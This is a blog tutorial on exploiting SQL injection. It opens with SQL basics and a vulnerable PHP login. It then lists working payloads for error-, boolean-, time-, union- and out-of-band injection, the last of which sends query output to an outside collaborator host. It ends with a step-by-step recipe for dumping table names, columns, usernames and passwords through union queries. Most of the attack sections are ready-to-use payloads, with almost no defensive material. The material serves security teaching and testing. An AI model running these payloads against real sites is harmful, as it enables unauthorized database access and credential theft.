Cybersecurity expert and hacker Jeff Forristal initially described the SQL injection attack in 1998. It has been more than two decades since its discovery and it is still leading the Owasp Top 10. To define SQL injection vulnerability we can say that when invalid or incompletely verified strings are combined into a dynamic SQL query and interpreted as code by the SQL engine, this is referred to as SQL Injection. Discovering SQL injection has become more challenging as the awareness of web application security has fostered over the years but methods of finding SQL injections has also evolved along the way due to emerging vulnerability detection methods and tools. Let us see all these concepts in depth.
Structured Query Language
SQL (Structured Query Language) is a programming language for connecting with databases. Queries are often used to input data, edit the database, or simply access the needed data for data processing. Databases are used in modern web applications to manage data and present dynamic material to viewers. Basic database operation includes
INSERT INTO table_name (column1, column2) VALUES (value1, value2);
UPDATE table_name SET column1 = value1, column2 = value2 WHERE condition;
SELECT column1, column2, ... FROM table_name;
DELETE FROM table_name WHERE condition;
To understand this concept, here is an example where we use insert statement to insert values in database table Users1 and retrieve that data using select statement.
INSERT INTO Users1 (Username, Password) VALUES ('SecurityBoat','SQL@123');
This statement will result in the message “1 row has been updated.”
To retrieve these changes we will use “Select” statement as mentioned below.
select * from Users1;
In this way, we can fetch table records as given below.
After understanding the SQL statements, let us consider an example where the input string is directly concatenate to SQL query in background which causes SQL injection attack, here the web application uses the following function to perform login operation.
$sql = "SELECT * FROM users where login="; $sql.= $user; $sql.='"and password=md5('"; $sql.= $password; $sql.= "')"; $result = mysql_query($sql);
As we can see there is no protection used because the application is allowing user to input everything is cleartext without applying filters. Let us get more into the SQL injection.
SQL Injection Attack
A SQL injection attack involves inserting or “contaminating” a SQL query into the program via the client’s input data. It is a vulnerability that can potentially allow attackers to tamper with a database query made by an application. An impactful SQL injection exploit may retrieve sensitive information from the database, alter database data, perform database server operations, recover the content of a given file on the DBMS file system, and, in some cases, issue commands to the operating system. An attacker in certain circumstances escalates a SQL injection to breach the host server and other systems or launch a denial-of-service attack.
SELECT username, password FROM table WHERE category = 'I23' AND released = 1;
This query uses the category parameter for retrieving Username and Password from the database.
Now what will happen if the value of parameter category is changed to
SELECT username, password FROM table WHERE category = 'I23' --+' AND released = 1;
The injection will terminate the possible execution of the rest of the query. We will see detailed approach in exploitation part of the blog.
Most people think that implementing a Firewall, IDS, and encryption through Secure socket layer (SSL) protects them from injection vulnerabilities.
1. Access to private network resources may be made possible through flaws in the web application or online programs. The web server becomes a part of the outdoor security layers when it can be accessed over ports 80 and 443.
2. Web pages with post-based forms that transmit this data or system server using the Post Request command.
3. SSL encrypts data being sent between a web server and a user’s browser, but it does not defend against attacks on the server or its applications. IDS protects websites against well-known attacks but does not protect against customized application attacks with custom crafted payloads.
4. Modified payloads work against web applications depending upon the rule set implemented by the security flow systems. Places where the URL string is directly populated with database parameters are also key in sql injection scenarios.
Thus, custom made injection payload works against web applications.
A SQL Injection Attack Workflow
SQL injection often happens when an user provides a malicious SQL syntax in the form of input via login form or any user controllable parameter.
Look at the following example which creates a SELECT statement by adding a variable value depending upon the User Identifier to a select data from the relational database and paste it on the user screen. The variable is fetched from user input user identifier as mentioned below in the URL.
1) Attacker injects ‘or 1=1 payload at the end of the URL string which enables him to fetch any resources beyond the scope of his account.
https://sqlinjectable.com/?superuserid=789 'or 1=1
2) Attacker forces database to ignore rest of the query.
Select * from users where superuserid='789' or 1=1 ;
3) Return data from database to the server of all users.
4) Attacker receives data from the server after successful execution of sql injection attack.
In this manner sql injection attack take place.
The SQL injection payload can be injected into the methods and headers as given below,
Detecting Sql Injections
To identify SQL injection, there are some techniques which are available.
AND 1=1 or AND 1=2
Note: ” \ ” is the most popular character used for query breaking as bisects the use of special character.
Breaking and Fixing SQL Query
In order to inject SQL injection payloads, one needs to break the SQL query and fix it which allows us to identify where to inject SQL payloads.
1) For breaking the query most of the characters used are
' " ') ") ')) ")) *
or any other special character depending on the application.
Now the select query becomes
SELECT username, password FROM table WHERE category = 'I23' '
This insertion results in response from the server as
“You have an error in your SQL syntax;” .
2) After breaking the query, our next task is to comment out the rest of the query. To understand this better, consider an example, so the application contains queries such as
https://sqlinjectable.com/?category=I23 SELECT username, password FROM table WHERE category = 'I23' AND released =1;
This query has two parts
Part 1. SELECT username, password FROM table WHERE category = ‘I23’
Part 2. AND released =1;
The second part is commented out while fixing the query.
3) Now what happens is when you insert the string in “category” the whole string of select statement gets executed, but we want control over the execution, to do that we need to comment out Part 2 of the query.
4) Character strings such as #, –+, — ,etc. are used to fix the query.
SELECT username, password FROM table WHERE category = '1' --+'
5) The space between the 1’ and –+, is the place where our payloads will be injected.
SELECT username, password FROM table WHERE category = '1' order by 1 --+'
In this manner you will be ready to inject SQL payloads.
Error Based SQL injection
An in-band SQL Injection approach called error-based SQLi uses the database server’s error messages to gather details about the database’s structure. An attacker may sometimes enumerate an entire database using just error-based SQL injection.
When an atttacker injects single quote to URL
It results in following response.
<span> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 </span>
Now if attacker appends –+ , it becomes
which results in following response.
<span> Category: Security </span>
This will return the normal response used most of the times.
Boolean Based Injection
An SQL query is sent to the database using the Boolean-based SQL injection approach, which forces the application to provide a different response based on what the query delivers a “True” or “False” result. Let us understand it via an example.
If the attacker alters this query to
SELECT username FROM users WHERE ID = 2 and 1=2; <span>…</span>.
it should return us “False” in the response. Now if we construct the query as
SELECT username FROM users WHERE ID = 2' and 1=1 --+; <span>You are at right place…</span>
Similarly in the above scenario, it should return “True” in the response. Remember that it is not necessary that it return “True or False” only, it can be any suttle change in the response.
Time Based Sql Injection
An instance of an inferential injection or blind injection attack is time-based SQL injection. A sort of attack known as an inferential injection attack prevents data from being exchanged between the attacker and the database, making it more difficult for the attacker to obtain results than in an in-band injection assault. Because of this, it is often referred to as a blind injection assault.
The following alteration will result in web application to respond 5 seconds later after request.
https://sqlinjectable.com/?id=2 ' or sleep(5)# SELECT username FROM users WHERE ID = 2' or sleep(5) #
The character “#” is applied to fix the query in this example. Given below are some example of time based SQLi payloads.
")) or sleep(5)=" ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- 1 or pg_sleep(5)-- " or pg_sleep(5)-- ' or pg_sleep(5)--
Moving on to next type, which is
Union-based SQL injection uses the UNION SQL function to aggregate the effect of two or even more SELECT queries into a single result, which is subsequently delivered as component of the Response message. Union-based SQL injection is a type of in-band SQL injection.
UNION ALL SELECT 1,2,3 https://sqlinjectable.com/?pid=-1’ union all select 1,2,3 --+
This insertion is performed after determing the number of columns with the help of order by statement. We will understand this in detail as we move ahead.
Since it depends on functionality being accessible on the server that is used by the web – based application, SQL Injection is not particularly frequent. When an attacker can’t utilize the same channel to start the attack and acquire information, an out-of-band SQL Injection happens. If the server answers are not particularly consistent, out-of-band techniques provide an attacker with an option to inferential time-based tactics.
SELECT+password+FROM+users+WHERE+username%3d'admin INTO OUTFILE '\ xyz.burpcollaborator.net\a'
Dumping The Database
The application takes cat as a parameter and displays username and password in the Get based scenario:
The Sql queries fetch details from database on the other side of the system.
SELECT username, password FROM users WHERE cat= '1' and rest of the query
SQL statement will return:
To successfully inject SQL payloads, we need to break and fix the query in order to understand the injection point.
This results in the SQL query:
SELECT username, password FROM users WHERE cat= '1' --+ ' AND ….(other part of the query)
Note: In the above case error will be generated as the number of single quotes are odd which is 3.
Now the –+ comments out the rest of the query which makes room for injecting sql payloads. The first task is to determine the number of columns. For that we will use the “order by” in the query.
Order By- It is utilized to order views according to the results of queries’ first column.
Determine number of columns
To determine the number of columns, we use
https://sqlinjectable.com/?cat=1' order by 1 --+
We will go from 1 to n number, till we get the desired number of columns present in the database.
https://sqlinjectable.com/?cat=1' order by n --+
Here n is nth column.
Checking for vulnerable columns
https://sqlinjectable.com/?cat=-1' union all select 1,2,3,4,5 --+
determines which values are user injectable.
The ones reflected in the response are regarded as injectable or user controllable inputs. These columns are the source for data retrieval.
Note: We have used cat parameter’s value as –1, as the first query overrides the second one unless unexpected values are inserted which are –1 or 99999999999999999, we must use –1.
Fetching Database and version
Let us assume there are 2 vulnerable columns in the database which are 2 and 3 .
https://sqlinjectable.com/?cat=-1' union all select 1, database(), 3 --+
Database()- It is a function used to fetch the database name present at the back end.
Now the database function gets displayed in the following manner.
https://sqlinjectable.com/?cat=-1' union all select 1,@@version,3 --+
Version()- This function is applied to retrieve the SQL version being used behind the web server.
Fetching table name
The following command is applied to get the table name in the database
https://sqlinjectable.com/?cat=-1' union all select 1,table_name,3 from information_schema.tables
Now there is more than one database, thus we can extract tables from database as per given method
https://sqlinjectable.com/?cat=-1' union all select 1,table_name,3 from information_schema.tables where table_schema=database() --+
Fetching exact table name
To get the exact table at a certain position
https://sqlinjectable.com/?cat=-1' union all select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1--+
Limit- This clause is used to return several records which can be mentioned as per this technique.
https://sqlinjectable.com/?cat=-1' union all select 1,table_name,3 from information_schema.tables where table_schema=database()%20 limit 3,3--+
This way you can traverse the entire range of table names.
Fetching all tables and columns
Group_concat one of the most useful fuction or clause which ensures retrieval of several records at once, here is the application of the same
https://sqlinjectable.com/?cat=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
Let us see how to get columns as well
https://sqlinjectable.com/?cat=-1' union all select 1, group_concat(column_name),3 from information_schema.columns%20 --+
Fetching columns from a particular table
In order to retrieve the column from a table, we will use following injection.
https://sqlinjectable.com/?cat=-1' union all select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' --+
The application responds to the following with a list of usernames and passwords
https://sqlinjectable.com/?cat=-1' union all select 1,group_concat(username),group_concat(password) from users --+
This is the way in which you can exploit sql injection vulnerabilities.
This was just an introduction to the sql injection basics, next time we will see more advanced scenarios and sql types which can be exploited further. So stay tuned!!!!
Also read our previous blog here!!